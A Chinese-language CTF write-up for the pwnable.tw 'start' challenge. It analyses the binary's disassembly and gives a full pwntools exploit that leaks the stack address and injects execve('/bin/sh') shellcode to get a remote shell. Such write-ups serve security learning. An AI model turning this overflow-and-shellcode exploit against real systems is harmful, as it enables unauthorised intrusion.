START

参考资料:

首先检查安全保护等级:

1
2
3
4
5
6
7
$ checksec ./start
[*] '/mnt/d/program/ctf/pwnable/start/start'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)

查看汇编代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
$ objdump -d ./start

./start:     file format elf32-i386


Disassembly of section .text:

08048060 <_start>:
 8048060:       54                      push   %esp
 8048061:       68 9d 80 04 08          push   $0x804809d
 8048066:       31 c0                   xor    %eax,%eax
 8048068:       31 db                   xor    %ebx,%ebx
 804806a:       31 c9                   xor    %ecx,%ecx
 804806c:       31 d2                   xor    %edx,%edx
 804806e:       68 43 54 46 3a          push   $0x3a465443
 8048073:       68 74 68 65 20          push   $0x20656874
 8048078:       68 61 72 74 20          push   $0x20747261
 804807d:       68 73 20 73 74          push   $0x74732073
 8048082:       68 4c 65 74 27          push   $0x2774654c
 8048087:       89 e1                   mov    %esp,%ecx
 8048089:       b2 14                   mov    $0x14,%dl
 804808b:       b3 01                   mov    $0x1,%bl
 804808d:       b0 04                   mov    $0x4,%al
 804808f:       cd 80                   int    $0x80
 8048091:       31 db                   xor    %ebx,%ebx
 8048093:       b2 3c                   mov    $0x3c,%dl
 8048095:       b0 03                   mov    $0x3,%al
 8048097:       cd 80                   int    $0x80
 8048099:       83 c4 14                add    $0x14,%esp
 804809c:       c3                      ret

0804809d <_exit>:
 804809d:       5c                      pop    %esp
 804809e:       31 c0                   xor    %eax,%eax
 80480a0:       40                      inc    %eax
 80480a1:       cd 80                   int    $0x80

我们分析这个汇编代码的结构:

  1. 观察这个函数的开始段,它并没有诸如押入 ebp 等栈操作。一直到 0x804806c 这个地址,函数做了一些初始化的事情,并且把四个寄存器置 0;

  2. 0x804806e - 0x8048082 这段地址向栈中存入了字符串(小端存储、栈从高到低增长):

    1
    2
    
    print(b'\x4c\x65\x74\x27\x73\x20\x73\x74\x61\x72\x74\x20\x74\x68\x65\x20\x43\x54\x46\x3a')
    # b"Let's start the CTF:"
    
  3. 0x8048087 - 0x804808f 这段代码调用了 int 80h 中断,查询网址,知道 4 号中断是 sys_write()

    1
    
    sys_write(unsigned int fd = 1, const char __user *buf = $esp, int count = 0x14)
    
  4. 0x8048091 - 0x8048097 这段代码调用了 int 80h 的 3 号中断 sys_read()

    1
    
    sys_read(unsigned int fd = 0, const char __user *buf = $esp, int count = 0x3c)
    
  5. 然后程序在 0x8048099 将栈顶指针上移了 0x14 个字节。

  6. 然后程序执行 ret 指令(ret 指令只做一件事情,将程序的执行权交给栈顶 esp 指向的地址)。

exp.py 如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#!/usr/bin/env python
#coding=utf-8
from pwn import *

class Challenge:
    def __init__(self, local=True):
        self.local = local
        if local:
            self.p = process(['./start'])
        else:
            self.p = remote("chall.pwnable.tw", 10000)

    def gdb(self):
        assert self.local
        context.terminal = ['tmux', 'splitw', '-h']
        gdb.attach(proc.pidof(self.p)[0])

    def leak_esp(self):
        self.p.recvuntil(':')
        payload1 = 'a'*0x14 + p32(0x8048087)
        self.p.send(payload1)
        self.esp = self.p.recv(4)
        print("get esp:", list(self.esp))

    def inject_shellcode(self):
        shellcode = asm(''.join([
            "push %d\n" % u32("/sh\0"),
            "push %d\n" % u32("/bin"),
            "mov ebx,esp\n",  # EBX 指向栈顶
            "xor edx,edx\n",  # 置零 EDX
            "xor ecx,ecx\n",  # 置零 ECX
            "mov eax,0xb\n",  # 指明中断进程 sys_execute
            "int 0x80"
        ]))
        assert len(shellcode) < 0x3c - 0x14 - 0x4
        payload2 = 'a'*0x14 + p32(u32(self.esp) + 0x14) + shellcode
        self.p.send(payload2)

    def get_shell(self):
        self.p.interactive()

    def pwn(self):
        print("----------begin-----------")
        self.leak_esp()
        self.inject_shellcode()
        self.get_shell()
        self.p.wait_for_close()
        print("-----------end------------")

if __name__ == "__main__":
    s = Challenge(False)
    s.pwn()